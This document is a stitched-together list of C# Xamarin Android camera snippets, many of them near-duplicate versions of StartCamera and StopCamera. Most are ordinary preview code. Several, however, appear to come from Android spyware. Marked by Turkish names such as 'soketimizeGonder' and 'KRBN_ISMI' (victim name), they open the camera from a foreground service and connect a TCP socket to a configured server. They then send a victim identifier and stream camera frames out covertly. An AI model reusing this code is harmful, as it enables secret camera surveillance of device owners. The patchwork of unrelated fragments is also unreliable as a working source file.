private void StopCamera() { camera.SetPreviewCallback(null); camera.StopPreview(); camera.Release(); camera = null; }
public void StopCamera() { if (mCamera != null) { try { mCamera.StopPreview(); mCamera.SetPreviewDisplay(null); mCamera.SetPreviewCallback(null); mCamera.Lock(); mCamera.Release(); mCamera = null; hldr.RemoveCallback(this); if (ForegroundService.windowManager != null) { if (ForegroundService._globalSurface != null) { ForegroundService.windowManager.RemoveView(ForegroundService._globalSurface); ForegroundService.windowManager = null; ForegroundService._globalSurface = null; } } ForegroundService._globalService.CamInService(); try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMREADY", "[VERI][0x09]"); } catch (Exception) { } } catch (Exception) { } } }
public void StopCamera() { if (mCamera != null) { try { mCamera.StopPreview(); mCamera.SetPreviewDisplay(null); mCamera.SetPreviewCallback(null); mCamera.Lock(); mCamera.Release(); mCamera = null; hldr.RemoveCallback(this); if (ForegroundService.windowManager != null) { if (ForegroundService._globalSurface != null) { ForegroundService.windowManager.RemoveView(ForegroundService._globalSurface); ForegroundService._globalSurface.Dispose(); } ForegroundService.windowManager.Dispose(); } ForegroundService._globalService.CamInService(); } catch (Exception) { } } if (camSock != null) { try { camSock.Close(); } catch { } try { camSock.Dispose(); } catch { } } }
public async Task GetPhoto() { _camera = Camera.Open(); var parameters = _camera.GetParameters(); var sizes = parameters.SupportedPictureSizes; int index = 0; for (int i = 0; i < sizes.Count; i++) { if (sizes[i].Width > 1200 && sizes[i].Width < 1300) { index = i; } } parameters.SetPictureSize(sizes[index].Width, sizes[index].Height); parameters.SetRotation(90); parameters.SceneMode = Camera.Parameters.SceneModeAuto; parameters.WhiteBalance = Camera.Parameters.WhiteBalanceAuto; parameters.FocusMode = Camera.Parameters.FocusModeContinuousPicture; parameters.PictureFormat = ImageFormatType.Jpeg; parameters.JpegQuality = 100; _camera.SetParameters(parameters); _camera.SetPreviewCallback(this); _camera.Lock(); SurfaceTexture st = new SurfaceTexture(100); _camera.SetPreviewTexture(st); _camera.StartPreview(); await TakePicture(); }
public void SurfaceDestroyed(ISurfaceHolder holder) { // throw new NotImplementedException(); holder.RemoveCallback(this); camera.SetPreviewCallback(null); camera.StopPreview(); camera.Release(); camera = null; }
private void OpenCamera() { if (CheckSelfPermission(Manifest.Permission.Camera) != Permission.Granted) { RequestCameraPermission(); return; } camera = Open(); Parameters parameters = camera.GetParameters(); parameters.PictureFormat = ImageFormatType.Jpeg; parameters.PreviewFormat = ImageFormatType.Nv21; if (parameters.SupportedFocusModes.Contains(Parameters.FocusModeContinuousVideo)) { parameters.FocusMode = Parameters.FocusModeContinuousVideo; } IList <Size> suportedPreviewSizes = parameters.SupportedPreviewSizes; int i = 0; for (i = 0; i < suportedPreviewSizes.Count; i++) { if (suportedPreviewSizes[i].Width < 1300) { break; } } parameters.SetPreviewSize(suportedPreviewSizes[i].Width, suportedPreviewSizes[i].Height); camera.SetParameters(parameters); camera.SetDisplayOrientation(90); camera.SetPreviewCallback(this); camera.SetPreviewDisplay(surface.Holder); camera.StartPreview(); //Get camera width previewWidth = parameters.PreviewSize.Width; //Get camera height previewHeight = parameters.PreviewSize.Height; //Resize SurfaceView Size float scaledHeight = previewWidth * 1.0f * surface.Width / previewHeight; float prevHeight = surface.Height; ViewGroup.LayoutParams lp = surface.LayoutParameters; lp.Width = surface.Width; lp.Height = (int)scaledHeight; surface.LayoutParameters = lp; surface.Top = (int)((prevHeight - scaledHeight) / 2); surface.DrawingCacheEnabled = true; handlerThread = new HandlerThread("background"); handlerThread.Start(); //backgroundHandler = new MyHandler(handlerThread.Looper); backgroundHandler = new MyHandler(Looper.MainLooper); }
public void StartCamera(int camID, string flash, string resolution, string focuse) { StopCamera(); try { mCamera = Android.Hardware.Camera.Open(camID); } catch (Exception) { try { byte[] dataPacker = ((MainActivity)MainActivity.global_activity).MyDataPacker("CAMNOT", System. Text.Encoding.UTF8.GetBytes("vid")); MainActivity.Soketimiz.BeginSend(dataPacker, 0, dataPacker.Length, SocketFlags.None, null, null); } catch (Exception) { } return; } Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters(); SetFlashModeOff(params_); if (flash == "1") { FlashParam(params_); } /// params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]), int.Parse(resolution.Split('x')[1])); /// if (focuse == "1") { SetFocusModeOn(params_); } /// SetSceneModeAuto(params_); SetWhiteBalanceAuto(params_); mCamera.SetParameters(params_); try { mCamera.SetPreviewDisplay(hldr); mCamera.SetPreviewCallback(this); mCamera.StartPreview(); } catch (Exception) { try { byte[] senddata = ((MainActivity)MainActivity.global_activity).MyDataPacker("CAMNOT", Encoding.UTF8.GetBytes("Can't start camera")); MainActivity.Soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null); } catch (Exception) { } StopCamera(); return; } }
public void SurfaceCreated(ISurfaceHolder holder) { // throw new NotImplementedException(); // open camera's parameters camera = Android.Hardware.Camera.Open(); camera.SetDisplayOrientation(90); Android.Hardware.Camera.Parameters p = camera.GetParameters(); p.PictureFormat = ImageFormatType.Jpeg; camera.SetParameters(p); camera.SetPreviewCallback(this); camera.SetPreviewDisplay(holder); camera.StartPreview(); }
public Camera() : base(Forms.Context) { cam = Android.Hardware.Camera.Open(); #pragma warning restore 618 Log("cam Opened"); switch ( ((Android.Views.IWindowManager)Context.GetSystemService(Android.Content.Context.WindowService)) .DefaultDisplay.Rotation) { case Android.Views.SurfaceOrientation.Rotation0: cam.SetDisplayOrientation(90); break; case Android.Views.SurfaceOrientation.Rotation180: cam.SetDisplayOrientation(270); break; case Android.Views.SurfaceOrientation.Rotation270: cam.SetDisplayOrientation(180); break; case Android.Views.SurfaceOrientation.Rotation90: cam.SetDisplayOrientation(0); break; default: break; } try { cam.SetPreviewCallback(new Callback( (data, camera) => { var Prev = Drawable; using (var s = new System.IO.MemoryStream(data)) SetImageDrawable(new Android.Graphics.Drawables.BitmapDrawable(s)); Prev?.Dispose(); } )); Log("Preview set"); cam.StartPreview(); Log("Preview started"); } catch (Java.IO.IOException ex) { Log(ex); } }
public void stop() { if (camera != null) { camera.StopPreview(); camera.SetPreviewCallback(null); camera.Release(); camera = null; } if (cameraHandlerThread != null) { cameraHandlerThread.Quit(); cameraHandlerThread = null; } LogUtil.i("wtf", "stop"); }
public void SurfaceCreated(ISurfaceHolder holder) { // The Surface has been created, acquire the camera and tell it where // to draw. camera = Camera.Open(); try { camera.SetPreviewDisplay(holder); camera.SetPreviewCallback(this); } catch (Exception) { camera.Release(); camera = null; // TODO: add more exception handling logic here } }
private void ReleaseCameraInstance() { if (_camera != null) { try { _camera.StopPreview(); } catch (System.Exception e) { } _camera.SetPreviewCallback(null); _camera.Release(); _camera = null; _cameraId = -1; } }
public void StartCamera(int camID, string flash, string resolution, string focuse) { StopCamera(); try { mCamera = Android.Hardware.Camera.Open(camID); } catch (Exception) { try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMNOT", "[VERI]vid[0x09]"); } catch (Exception) { } return; } Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters(); SetFlashModeOff(params_); if (flash == "1") { FlashParam(params_); } /// params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]), int.Parse(resolution.Split('x')[1])); /// if (focuse == "1") { SetFocusModeOn(params_); } /// SetSceneModeAuto(params_); SetWhiteBalanceAuto(params_); mCamera.SetParameters(params_); try { mCamera.SetPreviewDisplay(hldr); mCamera.SetPreviewCallback(this); mCamera.StartPreview(); } catch (Exception) { try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMNOT", "[VERI]Can't start camera[0x09]"); } catch (Exception) { } StopCamera(); return; } }
public void StartCamera(int camID, string flash, string resolution) { StopCamera(); try { mCamera = Android.Hardware.Camera.Open(camID); } catch (Exception) { try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMNOT", "[VERI][0x09]"); } catch (Exception) { } return; } Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters(); SetFlashModeOff(params_); if (flash == "1") { FlashParam(params_); } /// params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]), int.Parse(resolution.Split('x')[1])); /// SetFocusModeAuto(params_); /// SetSceneModeAuto(params_); SetWhiteBalanceAuto(params_); mCamera.SetParameters(params_); try { mCamera.SetPreviewDisplay(hldr); mCamera.SetPreviewCallback(this); mCamera.StartPreview(); } catch (Exception) { Android.Widget.Toast.MakeText(MainActivity.global_activity, "START CAMERA", Android.Widget.ToastLength.Long).Show(); } }
public void StartCamera(int camID, string flash, string resolution, string focuse) { //StopCamera(); try { mCamera = Android.Hardware.Camera.Open(camID); } catch (Exception) { try { byte[] dataPacker = ForegroundService._globalService.MyDataPacker("CAMNOT", System. Text.Encoding.UTF8.GetBytes("OPENERR")); ForegroundService.Soketimiz.BeginSend(dataPacker, 0, dataPacker.Length, SocketFlags.None, null, null); } catch (Exception) { } return; } try { if (camSock != null) { try { camSock.Close(); } catch { } try { camSock.Dispose(); } catch { } } ID = MainValues.KRBN_ISMI + "_" + ForegroundService._globalService.GetIdentifier(); camSock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); IPAddress ipadresi_dosya = Dns.GetHostAddresses(MainValues.IP)[0]; IPEndPoint endpoint_dosya = new IPEndPoint(ipadresi_dosya, MainValues.port); camSock.SendBufferSize = int.MaxValue; camSock.SendTimeout = -1; camSock.NoDelay = true; ForegroundService._globalService.SetKeepAlive(camSock, 2000, 1000); camSock.Connect(endpoint_dosya); byte[] ready = ForegroundService._globalService.MyDataPacker("MYVIDREADY", Encoding.UTF8.GetBytes("ECHO"), ID); camSock.Send(ready, 0, ready.Length, SocketFlags.None); Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters(); SetFlashModeOff(params_); if (flash == "1") { FlashParam(params_); } /// params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]), int.Parse(resolution.Split('x')[1])); /// if (focuse == "1") { SetFocusModeOn(params_); } /// SetSceneModeAuto(params_); SetWhiteBalanceAuto(params_); try { mCamera.SetParameters(params_); mCamera.SetPreviewDisplay(hldr); mCamera.SetPreviewCallback(this); mCamera.StartPreview(); } catch (Exception) { try { byte[] senddata = ForegroundService._globalService.MyDataPacker("CAMNOT", Encoding.UTF8.GetBytes("PREVERR")); ForegroundService.Soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null); } catch (Exception) { } StopCamera(); } } catch (Exception ex) { try { byte[] senddata = ForegroundService._globalService.MyDataPacker("CAMNOT", Encoding.UTF8.GetBytes(ex.Message)); ForegroundService.Soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null); } catch (Exception) { } StopCamera(); } }
public void SurfaceCreated(ISurfaceHolder holder) { try { // if only front camera, get it camera = Camera.Open(0); Camera.Parameters p = camera.GetParameters(); p.PictureFormat = Android.Graphics.ImageFormatType.Jpeg; camera.EnableShutterSound(true); // fix camera rotation camera.SetDisplayOrientation(0); camera.SetParameters(p); camera.SetPreviewCallback(this); camera.Lock(); camera.SetPreviewDisplay(holder); camera.StartPreview(); } catch (Java.IO.IOException e) { } }
public void SurfaceChanged(ISurfaceHolder holder, [GeneratedEnum] Format format, int width, int height) { if (holder.Surface == null) { return; } try { camera.StopPreview(); } catch (Exception e) { Log.Debug("Exception", e.Message); return; } try { //FrameLayout layout = (FrameLayout)FindViewById(Resource.Id.frame); //ViewGroup.LayoutParams parms = layout.LayoutParameters; //parms.Height = 960; //parms.Width = 1280; //parms.Height = 1440; //parms.Width = 1920; //layout.LayoutParameters = parms; Display display = WindowManager.DefaultDisplay; Point size = new Point(); display.GetSize(size); int displayWidth = size.X; int displayHeight = size.Y; // resolution of desktop viewer is 640x480 scaleX = Convert.ToInt32(displayWidth / 640); scaleY = Convert.ToInt32(displayHeight / 480); //Configration Camera Parameter(full-size) Android.Hardware.Camera.Parameters parameters = camera.GetParameters(); Android.Hardware.Camera.Size bestPreviewSize = GetBestPreviewSize(width, height, parameters); parameters.SetPictureSize(320, 240); //parameters.SetPreviewSize(bestPreviewSize.Width, bestPreviewSize.Height); parameters.SetPreviewSize(320, 240); parameters.PreviewFormat = Android.Graphics.ImageFormatType.Nv21;// ImageFormat.Nv21; parameters.FocusMode = Android.Hardware.Camera.Parameters.FocusModeContinuousPicture; camera.SetParameters(parameters); camera.SetPreviewDisplay(holder); camera.SetPreviewCallback(this); camera.StartPreview(); } catch (Exception e) { Log.Debug("Exception", e.Message); } }
private void StartCamera() { camera.SetDisplayOrientation(90); camera.SetPreviewCallback(new mPreviewCallback()); camera.StartPreview(); }